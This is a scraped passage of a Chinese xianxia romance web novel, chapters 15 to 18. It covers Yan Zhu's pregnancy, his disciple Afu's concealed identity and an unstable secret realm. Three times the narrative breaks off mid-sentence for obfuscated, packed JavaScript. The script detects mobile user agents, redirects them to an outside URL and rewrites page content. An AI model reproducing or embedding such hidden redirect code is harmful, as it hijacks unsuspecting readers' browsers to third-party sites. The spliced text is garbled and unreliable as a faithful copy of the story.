0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284622|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么很了不起的门派秘辛似的。 晏烛伸手摸了摸阿福的头发,轻声道:“我不想再要一个孩子,有你就够了。” 阿福手顿时攥紧了。 他有一瞬间想掀掉马甲,想告诉晏烛,阿福不是他们的孩子,他们两个只有他肚子里那个孩子,还想以闻肃尘的身份问他能不能留下孩子。 但不行,阿福的话晏烛还能听两句,换了人晏烛可能就跑了。 晏烛看他低着头倔强的样子,猜到他还是没办法接受,有些无奈:“阿福,我从来没想过你能变得多厉害。” 阿福抬眼看他。 “刚捡到你的时候,我只想你活下去。”晏烛回忆着刚捡到阿福时的事,唇角忍不住就带上了一点笑,“你那时候真的很小,连呼吸也很微弱,我每一个时辰就要去看你一眼,怕你在我不知道的时候就死掉了,后来小师兄把你带走的时候,我还偷偷哭了很久。” 这些东西阿福不会知道,但闻肃尘知道。 他也记得那时的事。 晏烛捡回来小猫那天,他就知道小猫活不成了,但晏烛好像不那么觉得,他给小猫找了柔软的枕头,还给它盖了小被子,给它准备奶水,准备丹药,化开后一点点喂给小猫,希望小猫能好起来。 但事实证明闻肃尘想得没错,那只小猫当晚就死掉了,就在晏烛看完它躺回床上没多久便断了气。 不是因为晏烛照顾不当,只是单纯它命数如此。 闻肃尘本想着晏烛醒了,发现了,可能会难过一下,但很快就会走出来,不必管。 但想到晏烛给小猫喂奶的样子时,他却犹豫了,然后鬼使神差地对着那小猫的尸体使了一个小法术,将附近飘荡的一缕残魂封在了那小猫的身体里。 他想,等过几天晏烛发现小猫毫无起色,到那时候再死,他应该就没那么难过了。 毕竟他已经努力过了不是吗? 但晏烛却一天比一天认真,一天比一天关心那只小猫,甚至在束手无策的时候,求到了他那。 那是为数不多的、晏烛对他提出的要求,闻肃尘不想让他失望,但那只小猫已经死了,就算闻肃尘再神通广大,也不可能把死掉的小猫复活,也不能一直把残魂封印在猫尸里,早晚会被发现的。 那最好的办法,还是给晏烛一只新的猫。 一只一模一样的。 不好找,但用分神捏一个就可以。 看到活蹦乱跳的小猫时,晏烛脸上的笑容灿烂得像太阳,也就是那一瞬间,闻肃尘便下决心要把这事一直瞒着。 他不会逗晏烛开心,小猫也不会。 可是小猫毛茸茸的,晏烛看到它心情就会好,不需要特地做什么,这样就够了。 但小猫的寿命有限,闻肃尘只能假装小猫在努力修炼。 而努力修炼的小猫是要学会化形的,化形了,就可以拜晏烛为师,也可以顺理成章地跟他学剑,这样以后出门,分神也可以保护晏烛了。 “我其实没想你跟小师兄学得多厉害。”晏烛说道,“我一开始想,小猫咪每天只要吃得开心玩得开心就好了,就算只有短短的寿命也可以。但你化形了,有段时间外头一直有妖修被袭击的事情发生,听说是有人想跟妖修定契,把妖修当灵兽养,我当时担心你会出事,才送你去小师兄那,想让你至少学一点自保的能力。” 阿福道:“我学得很好,我能保护师父。” 晏烛笑了:“是啊,你学得很好,但我还是想你跟一只普通的小猫咪一样,每天吃得开心,玩得开心就好,不厉害可以,不是了不起的剑修也可以,这是我的私心,所以当初我才没有让你拜小师兄为师。” 阿福愣住,他当初还以为晏烛这么做是单纯只是因为他喜欢小猫。 他隐约明白了晏烛的意思,正想开口,就听晏烛说:“养孩子不是只有钱就好的。” 如果他真的有一个孩子,他希望他能开心地长大,像自由的鸟一样,去他想去的地方,做他想做的事。 而不是变成闻肃尘,变成他。 16.第 16 章 祁然音知道昨晚阿福在那边呆到很晚,所以第二天直接在他房门口等着,见人出来,立刻凑过去:“小烛怎么说?” 阿福没回答,他低着头,看着像棵蔫吧的灵草,被祁然音晃了两下才抬头看了他一眼,眼神复杂地摇摇头:“师父没松口。” 祁然音顿时皱起眉,放开阿福准备去找晏烛,却被他拉住了。 “师父还在休息。”阿福解释道,“他需要好好休息。” 祁然音火气便消了一点,拉着阿福往远走了几步,这才轻声问他:“小烛怎么说?” 阿福没有解释太仔细,只说:“和师祖有关。” 祁然音便知道这事是有点麻烦了。 他沉默了一会,才问道:“如果让你师伯来,能劝动吗?” 阿福没有回答。 祁然音见状叹了口气:“我再去试试吧。” 他说着便转身往晏烛的住处去。 他本以为晏烛今天会跟之前一样睡到很稳,所以进屋的动作放得很轻,走到床边对上晏烛的目光时还愣了一下:“你怎么醒着?” 晏烛揉着眼睛,声音带着刚睡醒的黏糊:“你偷跑进来还问我为什么醒着?” 祁然音走到窗边坐下,轻声问道:“你身体怎么样?” “挺好的。”晏烛答道,“云仙说是正常的,以后可能会更难受。” “我记得我小姨怀孕的时候还会犯恶心,她那段时间什么东西都吃不下,就靠一些丹药撑着。”祁然音道,“你呢?” 晏烛摇头:“还小,没那么折腾人。” 祁然音“噢”了一声,眉心微皱,一脸的欲言又止。 晏烛也不着急,就抱着被子等他开口。 他想着以祁然音的脾气,估计也忍不了多久,等一会就行,但出乎他意料的,今天的祁然音非常地有耐性,就一直那么坐着,等着,等到晏烛困得都受不了了,脑袋开始一点一点了,他才抬手拍了拍晏烛的脑袋,说:“你睡吧。” 晏烛眨眨眼,看着祁然音:“你不是有话要说?” 祁然音含糊应了一声:“我还没想好。” 晏烛便不等了,往被子里一缩,补觉了。 他睡眠质量一直就不错,这些天更是好得不行,眼睛一闭没一会就睡得跟死猪一样,直到过了午才被一阵巨大的雷声惊醒。 晏烛按住“砰砰”跳的心脏,有些茫然地看向窗外,就见一道闪电落下来,紧接着又是雷鸣,雨滴也随着落在了窗台上。 他抬手一扫,窗户“砰”一声将所有声响都关在外头,屋内一下恢复了安静。 他这才去看坐在床边的祁然音,见他正端着一杯茶在喝,便伸出手:“我也要。” 祁然音给他也泡了一杯,说:“镜月泉水泡的释迦花,能清心静气,上头胡乱做决定的时候喝最好。” 晏烛喝了一口,味道很甜,应该是加了蜜糖。 他笑了笑:“就是那群佛修捣鼓出来骗钱的,想清心静气还不如多泡几棵清心草。” 祁然音翻了个白眼:“就你知道得多。” 晏烛笑眯眯地看他:“看来你都想好了。” “没有。”祁然音撇撇嘴,“我其实还是想劝你,只是认识太久了,不知道怎么说。” 晏烛闻言笑了:“不该是认识久了才好说吗?” 祁然音闻言也笑,他垂下眼,看着杯盏中盛开的释迦花,轻声道:“我的确担心你的身体,但那么说,也有别的原因。” 晏烛没答,喝着茶看他。 祁然音道:“其实我以前就想过,你跟仙尊之间有些怪,说你们恩爱吧,你们两人在一起时像两个陌生人,看彼此的眼神也感受不到什么,但要说你们感情不好吧,他对你那么好,一心一意的,而且在床上……咳,不是有个说法,夫妻床事和谐说明日子幸福。” 晏烛解释道:“他不是一心一意,只是无心情爱,要不是我娘给定的亲事,他可能都不会成亲。” 祁然音闻言笑道:“每次碰到降雪仙尊的事,你就会特别消极,其实你有没有想过,他心里是有你的,不然哪能对你有反应。” 晏烛想到闻肃尘那可控的物件,心说那也不一定,鬼知道闻肃尘那个境界是不是能用什么法子控制下半身。 但他不知道怎么说,便只是说道:“男人的心跟下半身都是分开的。” 祁然音挑了一下眉,显然不同意这种说法,但也没多说什么,而是继续说道:“我一直觉得你们之间只是缺一点变数。” 而孩子显然是就是一个很好的改变。 一个能将两人紧密连接到一起的改变。 “我经常觉得你很寂寞,觉得要是有个人陪着就好了。”祁然音道,“但是我又觉得这么想像是在怜悯你,过于自大了。” 而这种自大的想法,在他每次踏入焚雪峰时总会不由自主地浮出来。 焚雪峰那座房子很大,大得像一座宫殿,为了打理,闻肃尘造了非常多的寄灵人偶,它们日复一日地在屋里做着一样的工作,却没有给那屋子增添多少人气,反而衬得那地方越发死气沉沉。 而晏烛就是关在那里头的鸟。 尽管没人给他设下任何禁制,但祁然音就是觉得晏烛像被禁锢住了。 久而久之,连晏烛也染上了那一层沉沉的死气,变成一块石头,一座雕像。 而孩子又恰恰是新生的活力。 祁然音觉得这个孩子一定能给晏烛的生活带来一些不一样的、更好的色彩。 但这一切的前提是他愿意。 晏烛听他这么说,唇角的笑意一直没落:“我可不觉得在焚雪峰的日子过得不舒坦。” 祁然音瞪他:“你分明知道我不是那个意思。” 晏烛点头:“知道,所以我很开心,但我还是不能要,然音,我不能因为需要就生下他,这对他不公平。” 需要和想要是不同的。 “哪有那么多人是想清楚了才生孩子的。”祁然音撇撇嘴,嘟囔道,“我本来还想了别的话劝你的,但阿福说和闻掌门有关,我就知道没戏的。” 晏烛点头:“你明白就好。” 虽然知道早就猜到结果,但真定下来了,祁然音却还是有些失落,他委屈地看着晏烛:“那让我跟他打个招呼总行吧?” “连个人样子都没有,有什么好打的。”晏烛道,“你真那么想要,我再给你种几个孕果。” “不要。”祁然音摆摆手,“不想被小崽子绊着我快活。” 晏烛挑眉:“那你怎么好意思劝我。” “我们又不一样。”祁然音道。 晏烛这种三五十年都不一定离开一次门派的人,压根就不会被绊住,就算真的有那天了……祁然音总觉得闻肃尘会处理好。 这大概就是天下第一在他心里的实力吧。 祁然音道:“其实我还想过,要是你跟仙尊有孩子,我就收他当徒弟。” 晏烛顿时用看傻子的眼神看他:“有小师兄,哪轮得到你教。” “谁说我要教了。”祁然音挑眉,“我就是想当他师父,教还是仙尊教,然后等他长大了,混出名堂了,对外就会说我是他师父,那我不横着走。” 晏烛:“……你想得还挺远。” “那是,背靠大树好乘凉么。”祁然音说着,伸出一根手指戳戳晏烛,“可你现在要拿掉我的梦想了,你得赔我,再去捡个徒弟来给我玩。” 晏烛便弯起眼:“你怎么不自己去?” 祁然音撇嘴:“我这人可没什么责任心,带徒弟不是害人家么。” 这话说完,他自己也愣了一下,旋即有些尴尬地摸了摸鼻子,也不再提孩子的事了,陪他说了一会话,走时才说自己要再去应云仙那一趟。 晏烛没什么意见,跟着他出去,将人送走后便在院子里站着。 这会雨已经停了,但天色依旧很阴,云像滚动的污水,好像随时会哗啦泼下来,看得人心头有些压抑。 他并不喜欢这种天气。 晏烛盯着天边看了一会,才转身去找晏之桃。 那丫头到了丰凌洲后就玩得连个影子都没怎么见到,也就这些天晏烛不对劲才乖了一点,这会人还在屋里坐着,看见晏烛来,立刻跑上前:“叔公!你今天怎么样了?” “挺好的。”晏烛笑着应道,“今天怎么这么乖,没出去玩?” “担心您嘛。”晏之桃乖巧道,“要是您有什么事,太爷肯定会伤心的。” 晏烛弯起眼:“我没事,来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292028|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是有另一件事。” 晏之桃立刻做出听话的姿态:“您说!” “秘境的事。”晏烛指了指天,“你就没感觉到什么?” 晏之桃不解。 晏烛无奈解释:“丰凌洲这个季节很少下雨。” “但偶尔也是会有的。”晏之桃道,“凤山也是常年的好天气呢,但风暴来的时候可比这厉害。” 晏烛只好拉着她出门,指着天边的云:“你仔细看。” 晏之桃便顺着他指着的方向看了一会,这才看出一点端倪。 在很远很远的天边,有一线很清澈的蓝色,就跟她们刚到丰凌洲时看到的好天色一样,如果再仔细看,会发现那黑蓝两种颜色交界线其实很清晰,就好像有人在中间划下一条线,将两边完全分开似的。 这种情况晏之桃以前也见过一次,有一年凤山北地干旱,族人去祈雨,引来龙君,供上祭品,跟龙君商量好下雨的范围,下多少,龙君收下祭品后布雨时就是这样的,不少你的,但多一点也没有。 “这是有人故意的?”晏之桃迟疑道,“可丰凌洲又没干旱,干嘛要做这些。” 晏烛愣了几息才明白过来她的意思,无奈道:“也可能是龙抬头呢?” 晏之桃“啊?”了一声:“二月早就过了呀!” 晏烛笑了:“逗你的,你这样,舅舅怎么放心你自己跑出来的?” 晏之桃撇撇嘴:“太爷说经验都是历练出来的,我不出来,怎么会知道这些。”她说着靠过去抱住晏烛的手臂晃了晃,“叔公你直接告诉我就好了嘛。” 晏烛只好解释道:“水君都有自己掌管的水域,如果他们管辖的领域出现什么问题,那他肯定会有反应,现在这样,可能就是丰凌洲的灵气有异,因为家里环境变了,所以龙君不舒坦,在闹脾气呢。” 晏之桃立刻露出了然之色:“那我们是要去上供吗?凤山的水君是吃素的,这里的水君也一样吗?” “那不知道。”晏烛想了想,“比起上供,你倒不如想想这灵气是什么情况,从根源解决问题。” 晏之桃一下就懵了。 她看着晏烛:“要怎么解决呀?” 看着那双清澈的大眼睛,晏烛无奈,提醒道:“云仙之前不是说过吗?那个秘境最近有点奇怪。” 晏之桃想了想,恍然大悟:“如果是秘境要升级了,那附近的灵力可能会受到影响动荡,导致灵力不稳定,现在影响还小,所以我们没感觉,但水君就知道!” 晏烛点头,伸手拍拍她的脑袋:“聪明,那你现在知道自己要干嘛了?” 晏之桃连连点头:“我这去出去打听一下消息!叔公也好聪明呀,我听说叔婆……咳不是,降雪仙尊也经常去各种秘境,您是不是也会跟着去?那些秘境里是不是有很多好玩的东西?” 晏烛:“……倒也没有。” 虽然他也很想当一个被可爱小辈崇拜的叔公,但这事他真装不了。 想了想,晏烛还是实话道:“我是在书上看的,我以前没去过秘境。” 晏之桃似懂非懂地点点头:“那为什么不去?” “因为我很弱。”晏烛笑着伸手,摸摸她的头发,“去吧。” 晏之桃应了一声,飞快跑走了。 晏烛这才往回走,一进院子,就看见阿福坐在他门口,看见他立刻跑过来:“师父!你怎么乱跑!” “我又不是生病。”晏烛解释道,“我去找小桃,跟她说秘境的事。” 阿福也明白过来,皱眉道:“这种事晏家没有教她吗?” 晏烛一听他这语气就笑了:“这是吃醋呢?” 阿福没有回答,只说:“我都查清楚了,不用她。” 晏烛好笑道:“争宠?” 阿福依旧不回答,而是问他:“师父想再收一个徒弟吗?” 晏烛便明白他可能是从祁然音那听说了什么,笑着摸摸他脑袋:“找个人陪你玩不好吗?” 阿福撇嘴,小声道:“又不是师父生的。” 晏烛一把扯住他的脸:“小嘴巴嘟囔什么呢?” “没什么。”阿福含糊道。 不就是收徒。 大不了再捏一个分神。 下次捏兔子。 17.第 17 章 这次要开放的秘境,是丰凌洲最大的门派——金涛门所有。 说是所有,其实就是入口碰巧开在那而已,因为这种独占的事其实算不上光彩,所以金涛门才会每隔一段时间开放一次。 而根据根据阿福查到的情况,这次秘境的确是有升级的迹象。 大部分秘境都是另一个小世界,有属于自己的物候,秘境有境界限制,秘境中所有的生物和天材地宝也大都被限制在这个境界内。 秘境内的生物会不断成长,等他们成长到一定境界了,秘境就会跟着升级,秘境的限制也会往上抬。 而这种升级的过程,会出现不少意外,同时也会出现不少机缘。 “虽然这事还没传开,不过是早晚的事,之后应该会有很多人往这边赶。”阿福一边说,一边从乾坤戒里掏出一张地图来,“只是这秘境开放在即,除了一些有移动法器的门派,会赶来的也就附近几个洲的门派。” 晏烛看着他把有可能来的门派都摸清楚了,有点发愣:“你查这些做什么?” 阿福解释道:“这些都是对手。” 晏烛愣了几息才明白过来他的意思:“你是说会有争夺?” 阿福点头:“那是自然,进了秘境,外头就管不着了,杀人夺宝的事在秘境中屡见不鲜,要进去,自然要仔细打算,我这两天会把有可能进去的弟子名单整理出来,调查清楚。” 晏烛翻着那张地图,疑惑道:“那然音他们怎么不准备?” “先前以为只是进去玩,以他们的修为,的确不用准备。”阿福解释道,“但现在情况特殊,他们肯定也要调查的。” 他这么说着,又从乾坤戒中出一摞册子来放到桌上。 晏烛接过来翻了翻,发现居然是这个秘境以前的一些情况,产出的资源、死伤情况、出现的机缘等等,虽然只是一小部分,但也很令他惊讶了:“你怎么会有这些?” “出来前从书库拿的,说不得能用上。”阿福解释道。 晏烛看他这认真翻书的样子,陡然有那么一点点心虚:“小师兄可把你教得真好。” 说完换来阿福一个疑惑的眼神。 晏烛没有多解释,而是问道:“小师兄去秘境的时候也会做这些调查?” 阿福犹豫了一下,摇头:“师伯不用。” 晏烛闻言一愣,很快又反应过来他的意思。 闻肃尘是剑修第一,一对一没谁敢惹他,一对多……那些大能哪个不爱惜羽毛?又不是想不开干嘛去做这种吃力不讨好的事?毕竟资源还能再找,但不小心死了就真的是什么都没有了。 晏烛在心里长吁短叹了一阵,便伸手拿过册子跟着一起翻起来。 他没有经验,多学学总是好的。 等第二天的时候,其他人也来了。 祁然音跟空浮也去做了一番调查,不过只查了会来的门派,并没有阿福这么详细。 祁然音翻着那个册子,叹为观止:“你们明心宗连这个都有?” “一些杂事罢了,不全,只作参考。”阿福解释道,“不知道会升级成什么样。” 晏之桃也在看,听见这话有点疑惑:“什么叫升级成什么样?” “不知道升到什么境界的意思。”晏烛解释道,“秘境内的生灵和秘境相生相成,境界限制下那些生灵虽然无法超过限制,但秘境升级的时候会带着它们一起突破,一般来说秘境升级都只是往上升个一两阶,但也可能有意外。” 比如一个金丹秘境,忽然一下冲到合体境,这种情况就会出现大量的死伤,因为门槛低,所以很多修为低的也能进去,结果却发现这个秘境等级过高,这些人根本扛不住里头的灵兽一击。 “这种限制算是一种保护。”晏烛道,“低修为进不去,高修为进去会被压制境界,一定程度上能保证里面的人实力都在差不多的水平线上,当然了,这不包括战斗经验,如果碰上这种秘境升级的情况,那保护就会完全失效。” 晏之桃听得有点担忧:“那不是会有很多高境界的人进去,我们会不会也有危险?” “不会。”晏烛说着看了一眼一旁的空浮,有他跟进去,不会有什么危险,不过他的身份最好还是不要暴露,所以晏烛转手一指祁然音,“有他呢。” 祁然音顿时噎了一下,无语道:“我可护不住你们这么多人。” 空浮笑了一声,没说话,但他气势摆在那,一言不发也显得很厉害的样子,看得晏之桃心里都有底了。 阿福看他那样,忍不住皱眉,说:“明心宗弟子肯定也来,师父给师伯去信,师伯会来的。” 不等其他人回答,晏烛就先摇头拒绝了:“不要,跟他一起,说明那些弟子也会跟来。” 阿福道:“他们又不是小孩,不用人看着。” “但小师兄总有责任。”晏烛道,“不想去秘境里给那些人当爹。” 阿福便不说话了,但看眼神还是有点不乐意的样子。 晏烛只好安慰他:“有空浮在,不用担心。” 阿福拉住他的:“我也能保护师父。” “好,那我的安危就交给你了。”晏烛说着,伸手摸摸他的头,“还有桃子。” 晏之桃听见自己的名字,立刻转过头。 晏烛就开始叮嘱她要小心,要注意,俨然是对待小孩的语气。 晏之桃听得乐呵呵。 阿福皱眉,伸手拉了拉晏烛:“她也不是小孩子了。” “也不大。”晏烛道,“她跟你是一样的。” 都是小辈,都得他照看。 阿福一听更不乐意了,先前想再捏个分神的想法又一次冒了出来。 “师父想再收一个徒弟吗?”阿福问道。 晏烛好笑地看着阿福,以前在明心宗时,偶尔也会有小弟子去焚雪峰,这小猫从来就没在意过,出来了倒是什么醋都吃了。 他只好耐着性子哄他:“放心,我不会找新徒弟。” “也可以找。”阿福道,“我帮师父找。” 这话落到晏烛耳朵里,就像阿福在说要给自己找一个合心意的玩伴。 小猫咪会喜欢什么玩伴呢?大概是另一只小猫咪吧。 他笑了笑,说:“那你去找,找到了就带回来。” 阿福点头,开始琢磨要捏一个什么样的“师弟”。 见他想自己的事了,晏烛才将目光转到祁然音身上,说:“虽然应该不会有什么危险,但还是要小心。”他一边说一边从乾坤戒里找出来几个法器交给祁然音,都是侦查用的,“我这几天也去附近看看,到时候要是出事才跑得及。” 祁然音其实是不太担心的,但看晏烛这么紧张的样子,只能跟着上点心,说:“我们会处理好,你不用担心,顾好自己的身体才重要。” 晏烛皱眉:“我身体好着呢。” 祁然音不想跟他争这个,直接拍板:“反正你不准乱来。” 晏烛虽然不服气,但也不想让祁然音担心,只好答应下来,把要做的事交给阿福跟晏之桃。 事情并不麻烦,就是在秘境附近布一些预防的法器和阵法,只是那边是金涛门的地盘,在人家的地方放这些东西,多少有点嚣张,所以两人是以明心宗弟子的身份过去,金涛门便也没多说什么。 但用这个身份比较麻烦的,就是会被同样来历练的明心宗弟子盯上。 阿福还好,晏之桃对明心宗的情况不清楚,屁颠屁颠就把遇到的两个弟子给带回来了。 那两个弟子晏烛也认识,是他师兄的徒弟,经常到葳蕤峰去拿灵植,两人看见他后恭恭敬敬行了一礼:“晏师叔。” 晏烛点点头,也没说什么,他跟这两人并不熟,在门派时见面就是对方说清来意,他去把灵植采下来给他们,交流就结束了。 他以为这次也一样,没想到那两个弟子还跟他聊了起来:“晏师叔准备什么时候回去?” “不知道。”晏烛迟疑了一下,还是道,“随便走走,玩腻了就回去。” 其中一个弟子闻言又问:“那葳蕤峰不照看着没事吗?” 晏烛道:“那边设了阵法,短时间不管不会有事。” 另一个弟子闻言又问道:“那我们想要灵植怎么办?” 晏烛一时没明白过来他的意思,愣了一下,解释道:“去找寄灵人偶就是。” “那些寄灵人偶也太不通人情了。”那个弟子抱怨道,“灵石没给够说什么也不给我们拿。” 晏烛默了默,片刻后很轻地笑了一声:“我回去了也是寄灵人偶给你们拿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300677|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那两个弟子一愣。 晏烛问道:“你们两个知不知道,之前来帮你们师父拿东西的人其实是固定?” 两个弟子迟疑地点了点头。 晏烛又问道:“那你们知不知道,你们师父把事情交代给你们之后,还会把要拿的清单也发一份给我。” 两个弟子表情微变。 晏烛笑着解释道:“因为你们师兄知道我不会跟你们师父算那么清楚,所以每次都会偷偷在清单里把自己想要的东西加进去,一分钱没花,把人情都算你们师父头上了。” 两个弟子表情都垮了。 晏烛又说道:“其实我也说过,让师兄自己来拿,他说就当给你们这些徒弟一点甜头,他还说多的钱他给我补上,我说不用,就当我给你们的零花钱了,这也是为什么现在来的弟子是轮流的原因。” 两个弟子脸都臊红了,其中一个支支吾吾地想说点什么,但又不知道怎么解释,倒是另一个脸皮厚的,直接说道:“那师父买那么多东西,晏师叔送点怎么了?” 晏烛气笑了:“你们不会以为葳蕤峰的灵植在外头就卖那点钱吧?”他说着,目光落在没说话的弟子身上,“崔浩荡,以后你去葳蕤峰买灵植不打折了。”他说着,又看向厚脸皮那个,“裴华,以后你来葳蕤峰,价格按市价加收五成。” 两个弟子这回脸色都变了,裴华怒道:“你这是滥用私权!等回去我就告到师叔那!师叔大公无私,绝不会包庇!!” 晏烛点头:“去呗,你去了,以后你们门派所有师兄弟的月例都照常发放。” 裴华愣了一下,一时没明白过来晏烛的意思。 晏烛用看傻子的眼神看他:“你进门的时候,难道没人告诉你,所有弟子月例中的灵草是三株吗?” 裴华皱眉,他入门久,已经不记得这事了,倒是崔浩荡记得,他说:“有。” 晏烛点头:“但你们领的是五株,多出来的两株就是我给的,明心宗除了执事长老门下弟子,所有人都有。” 裴华已经隐约明白他的意思,但还是嘴硬道:“那些灵草不也是门派的东西!” 晏烛怜悯地看着他:“难道没人告诉你,葳蕤峰不是明心宗的?” 裴华愣愣地摇头。 晏烛笑道:“葳蕤峰是我娘的嫁妆,她走后就留给了我,那里的一草一木,都是我的,香阵峰上的灵草也都是我种的,跟门派没有关系。” 裴华不说话了。 “明白了就回去吧,要是不服,就去找你们师父告状。”晏烛这才摆摆手,两人就被一阵灵力送了出去。 晏之桃虽然不清楚明心宗的情况,但也能看明白那两个弟子对晏烛的不敬,臊眉耷眼地站到晏烛跟前:“叔公,对不起……他们说想来跟您请安,我就答应了,我没想到他们是那种人……” 晏烛伸手摸摸她的脑袋:“没事,是他们不好,以后遇到明心宗的弟子不用管。” 晏之桃低着头,闷闷“噢”了一声。 晏烛只好从乾坤戒里翻出一个法器送给她,见她心情好了才把人打发走。 她一走,阿福便来了。 大概是看晏之桃走的时候开开心心的,他就不开心了,一进门就变成小猫钻到晏烛怀里,发出喵喵呜呜的撒娇声,又用毛茸茸的脑袋去蹭晏烛。 晏烛顿时被蹭得痒痒,忍不住笑:“你怎么这么爱吃醋。” 阿福委屈道:“师父以前只有我。” “现在也一样。”晏烛戳戳它毛茸茸的脑袋,“等从秘境出来,她就回家了。” 阿福还是不乐意,继续用毛脑袋拱他。 晏烛只好道:“那我以后不给她法器了。” “法器可以。”阿福道。 晏烛便明白了,笑着捏捏它的爪子:“好,那我不哄她。” 阿福这才满意,他还想着干脆去把事情都处理掉,让晏之桃出去外面玩,省得天天来晏烛这争宠。 然而晏之桃的想法也差不多,因为做错事,所以想努力点、多做点事让晏烛开心,所以每天都往金涛门跑。 她愿意跑,阿福也乐得把工作推出去,这样他就有更多时间陪在晏烛身边。 而且最重要的是,应云仙来找晏烛,说已经炼出合适的丹药了。 18.第 18 章 那药是在普通打胎药的基础上加了些别的,并不难炼,只是应云仙想做到最好才多花了点时间。 晏烛拿着瓶子看了看,从中倒出一颗红色的药丸,这颜色看着就不大好吃,还很危险。 只看了几眼,晏烛就直接抬手把药往嘴里扔,但还没进嘴,就被应云仙拦住了。 “你动作也太快了。”应云仙皱眉道,“我特地做成这个颜色,就是警告吃的人,很危险!” 晏烛看他:“怎么,吃这个还要先举行个什么仪式不成?” “不是。”应云仙道,“只是这药吃下去会虚弱几天,你如果有什么安排,最好再等等。” 晏烛想了想,他最近都挺闲的,要说有什么要注意的,也就是秘境的事,但他们估计秘境开启还有半个月时间,他早点把药吃了就不怕耽误事。 “没什么安排。”晏烛说着就要吃。 应云仙连忙又拦住他:“这是最后的机会了,你真的不再考虑考虑。” 晏烛摇头,但看应云仙还皱着眉,只能安抚他道:“孕果对我来说不难得。” “那也是可惜的,而且这么做,说不得还要担业果。”应云仙试图换个角度劝,但看晏烛表情依旧没有变化,只好道,“那你不最后再跟他打声招呼?” 晏烛当然明白他的意思,打了招呼就会被触动,被触动就有可能心软。 “不用了。”晏烛说着又要把药往嘴里扔,阿福又上来拦他。 “师父,再考虑一下吧。”阿福道,“不用那么着急。” “趁着月份小,快点解决比较好。”晏烛说着,看祁然音也是一脸欲言又止的样子,忍不住笑了一声,“你们搞得我像个大恶人似的。” 好像除了他,全世界都很期待这个孩子能出生。 但有什么好期待的呢? 他想着,正准备把药放进嘴里,阿福又拦住他,只是这次没再劝他,而是问道:“那我能跟他打声招呼吗?” 晏烛愣了一下,下意识想拒绝,但对上阿福认真的表情时又有点说不出口了。 不知道是不是他的错觉,他总觉得阿福的眼神似乎有些……难过? 他很少在阿福身上见到这种情绪,另一个跟他长得很像的人就更是没有,可他莫名就是觉得看见了他,甚至生出一种让阿福替他跟这个素未谋面的孩子打声招呼也好的念头。 想了一会,晏烛还是点点头。 阿福这才伸出手,轻轻搭在晏烛肚子上。 孩子月份还小,什么都摸不出来,但他的动作依旧很轻,轻到晏烛几乎感觉不到他的力道,但心脏却依旧像被什么东西挠了一下。 这还是第一次有人这样碰他的肚子。 从知道怀孕那天起,他就一直尽量避免去碰自己的肚子,他怕自己想多,怕自己心软。 “好了。”晏烛按住肚子上加重了一点的力道,轻声道,“该道别了。” 他说着,抬手将丹药扔进嘴里,糖衣瞬间在嘴里化出一点甜丝丝的味道。 他牙齿往上一磕,正要施力,就听外头传来一阵嘈杂声,一个七星派的弟子急匆匆跑进来,慌张道:“出事了!” 晏烛愣了一下,连忙把嘴里的药吐出来,问道:“出什么事了?” 那弟子连忙解释,说金涛门的秘境忽然失控,提前开启,将附近的人全部被卷了进去。 其中就包括当时在场的晏之桃。 晏烛一听,脸色顿时变了,连忙将丹药扔开,起身往金涛门的方向去。 他本想着晏之桃虽然修为不高,但人还算聪明,应该会想办法自保,他赶紧进去把人找到就行,但等到了地方他才发现事情比他想的复杂。 他还没进金涛门,就远远看见半空中有一道漆黑的裂缝,等走近了才能看出那裂缝有多大,而且还在不断扩散,只是被阵法结成的结界拦住了。 应云仙跟金涛门掌门耿延志比较熟,便过去询问情况,但对方也不清楚情况,这会正焦头烂额的。 毕竟被卷进去的人不少,除了他们门派的弟子,还有别家的,要是那些人出了事,那些门派肯定会和金涛门生出嫌隙的。 就别说这个秘境的入口还在蛮横地扩大。 会扩到多大?拦住的阵法结界能撑多久?里面又是什么情况? 这些都没人知道,他只能以最坏的打算去考虑这件事,让人继续加固阵法,再去拿能用得上的法器来。 晏烛见状走过去,问道:“之前一点迹象也没有吗?” 耿延志摇头:“秘境升级,灵力波动正常有的事,我们门派弟子一直监测着,秘境出现之前根本没有什么先兆。” 晏烛又问:“有人记下来了吗?” 耿延志点头,连忙掏出一颗留影石给晏烛,上头复制了那些弟子失踪的全过程。 影像一开始就是一群不同的弟子散落在各处,有的在说话,有的在捣鼓法器,这时半空中忽然出现一道巨大的裂缝。 那裂缝就像一张血盆大口,迅速扩大,将附近的人全部吞进去,直到被阵法拦住才停下,整个过程也不过数息的时间。 的确很奇怪。 晏烛又拿了几个法器给他,让他将附近的阵法加固。 耿延志一看愣了一下,连忙问他的名姓,听见他是晏烛后,脸上顿时迸发出期待的光,问他能不能请闻肃尘出手。 晏烛一愣。 耿延志似乎也觉得这话有些没道理,连忙说报酬好说,只要他们金涛门出得起都可以,又说事关重大,这也不全是为了他们,还有其他门派的弟子也被卷了进去,希望闻肃尘能拔刀相助。 